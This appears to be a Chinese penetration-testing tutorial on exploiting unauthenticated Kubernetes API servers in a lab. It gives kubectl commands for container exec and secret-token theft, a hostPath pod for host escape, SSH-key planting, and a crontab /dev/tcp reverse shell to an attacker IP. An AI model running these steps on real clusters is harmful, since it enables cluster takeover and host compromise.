服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

K8s API Server未授权命令执行

日期: 来源:谢公子学安全收集编辑:谢公子

K8s 的API Server默认服务端口为8080(insecure-port)和6443(secure-port),8080端口提供HTTP服务,没有认证授权机制,而6443端口提供HTTPS服务,支持认证(使用令牌或客户端证书进行认证)和授权服务。默认情况下8080端口不启动,而6443端口启动。这两个端口的开放取决于/etc/kubernetes/manifests/kube-apiserver.yaml配置文件。
如果目标K8s的8080端口开启了,由于其没有认证授权机制,因此存在未授权访问。
如果目标K8s的6443端口开启了,如果配置错误,也可以导致存在未授权访问。

漏洞复现


8080端口

默认情况下,8080端口关闭的,下面我们手动去开启。
cd /etc/kubernetes/manifestsvim kube-apiserver.yaml
高版本的k8s中,将--insecure-port这个配置删除了,因此手动添加如下两行
- --insecure-port=8080- --insecure-bind-address=0.0.0.0

#重启k8ssystemctl restart kubectl
访问8080端口即可看到存在未授权。


也可以使用kubectl远程连接获得信息
kubectl -s http://10.211.55.35:8080 get nodes


注:在高版本(1.20及其以后)的K8s中直接禁用了该端口,并且无法打开。

6443端口


如果运维人员配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,则会使得6443端口允许匿名用户以管理员权限访问。
正常情况下访问6443端口,提示Forbidden。

执行如下命令将"system:anonymous"用户绑定到"cluster-admin"用户组。
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

可以看到再次访问访问6443端口,即可未授权访问。


未授权利用


以下以8080端口未授权为例,6443端口未授权利用方法一致。

命令执行





查看K8s集群信息




执行如下命令查看K8s集群信息

kubectl -s http://10.211.55.35:8080 cluster-info





查看node节点信息




执行如下命令查看K8s node节点信息

#查看node节点kubectl -s http://10.211.55.35:8080 get nodes#查看node节点详细信息kubectl -s http://10.211.55.35:8080 get nodes -o wide





查看pod节点信息




执行如下命令查看K8s pod信息

#查看所有的podkubectl -s http://10.211.55.35:8080 get pods -A





执行命令




通过获取到的pods节点信息,进入对应docker 命令执行。-n对应的是NAMESPACE,-it 对应的是NAME。
#进入命名空间为default,名字为hello-minikube的容器kubectl -s http://10.211.55.35:8080 exec -n default -it hello-minikube -- /bin/bash#进入命名空间为kube-system,名字为etcd-ubuntu的容器kubectl -s http://10.211.55.35:8080 exec -n kube-system -it etcd-ubuntu -- /bin/sh


获取Token登录dashboard

访问如下接口,即可看到K8s所有的Token,我们过滤找到dashboard-admin相关的Token。
http://10.211.55.35:8080/api/v1/namespaces/kube-system/secrets/https://172.16.200.70:6443/api/v1/namespaces/kube-system/secrets/

然后对其base64解码一次,即可使用base64解码后的Token登录K8s的dashboard。在线base64编码解码:https://base64.us


获取宿主机权限

通过k8s dashboard,创建特权Pods来获得宿主机权限。登录dashboard后台后,点击+号。

然后输入如下命JSON内容,创建名为myapp的pod,并且将宿主机的目录挂在到了/mnt目录下。
apiVersion: v1kind: Podmetadata:  name: myappspec:  containers:  - image: nginx    name: container    volumeMounts:    - mountPath: /mnt      name: test  volumes:  - name: test    hostPath:      path: /

然后可以看到刚刚创建的pod。

点击myapp名称,再点击如下。

可以进入到命令窗口





写入SSH公钥




切换到/mnt/root/.ssh目录下,写入公钥文件,即可免密登录宿主机。





定时任务反弹shell




也可以往宿主机写入crontab来反弹获取shell,执行如下命令,将反弹shell的命令写入/var/spool/cron/root文件中。
echo "*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/172.16.200.58/4444 0>&1" > root

可以看到已经收到node节点反弹的shell了。





chroot




或者也可以直接chroot。
chroot /mnt


END

非常感谢您读到现在,由于作者的水平有限,编写时间仓促,文章中难免会出现一些错误或者描述不准确的地方,恳请各位师傅们批评指正。  
如果你想一起学习内网渗透、域渗透、云安全、红队攻防的话,可以加入下面的知识星球一起学习交流。

相关阅读

  • 北京宣布!

  • 2月24日,北京市商务局发布消息称,为加快释放绿色消费潜力,促进消费升级,结合传统节假日等重要促消费时间节点,面向在京消费者发放“京彩·绿色”消费券,鼓励消费者购买使用绿色智
  • 郑胡勇率队调研重点项目建设情况

  • 2月24日,市政府副市长、县委书记郑胡勇率队到飞仙关镇、龙门镇、宝盛乡等地,调研重点项目建设情况。市委统战部常务副部长、市工商联党组书记、县委副书记王东,县委常委、常务
  • 甘肃庆阳:建设枢纽节点 发展数字经济

  • 2月23日,庆阳市举行全国一体化算力网络(甘肃·庆阳)枢纽节点招商推介活动,邀请数字经济企业合力建设“东数西算”庆阳数据中心集群,共享投资合作新机遇,同绘数字经济新蓝图。建设
  • 明年下半年 六安30分钟内可到合肥

  •   合六路(新桥大道-侯店路)现场施工图  合六路(新桥大道-侯店路)工程示意图  本报讯 2月21日,G312合六路(新桥大道-侯店路)工程全线首根桩基顺利开钻,标志着桥梁施工正式开始,
  • 晋升(授予)军衔,仪式感拉满!

  • 文图丨倪玉珍、刘兵、姚茂荣▲宣布命令近日,77集团军某旅为新晋升军衔的军官举行授衔仪式并颁发命令状机关和基层15名军官以及19名新毕业学员换上新军衔,开始新的征程▲接过
  • 化肥业首个二级标识解析节点项目验收

  •   2月10日,“工业互联网标识解析二级节点(石化行业应用服务平台)项目”在安徽临泉通过安徽省经济和信息化厅和安徽省通信管理局牵头组织的专家验收。  该项目受工业和信
  • 高原山区钢管混凝土桁梁桥快速建造核心技术

  • 四川西部高原山区,由地形、地震、地质和气候等诸多不利环境因素组合,形成了十分复杂的工程建设环境。复杂环境条件导致的中等跨径高墩桥梁数量特别多,占比路线总里程40%,占桥梁

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • K8s API Server未授权命令执行

  • K8s 的API Server默认服务端口为8080(insecure-port)和6443(secure-port),8080端口提供HTTP服务,没有认证授权机制,而6443端口提供HTTPS服务,支持认证(使用令牌或客户端证书进行
  • 红队培训之Web基础安全

  • 课程背景和简介随着HW和企业攻防演练越来越火,越来越多的安全从业人员选择成为一名红队。红队的薪资待遇也水涨船高。而Web渗透作为红队的必备技能也是重点技能,重要性可想而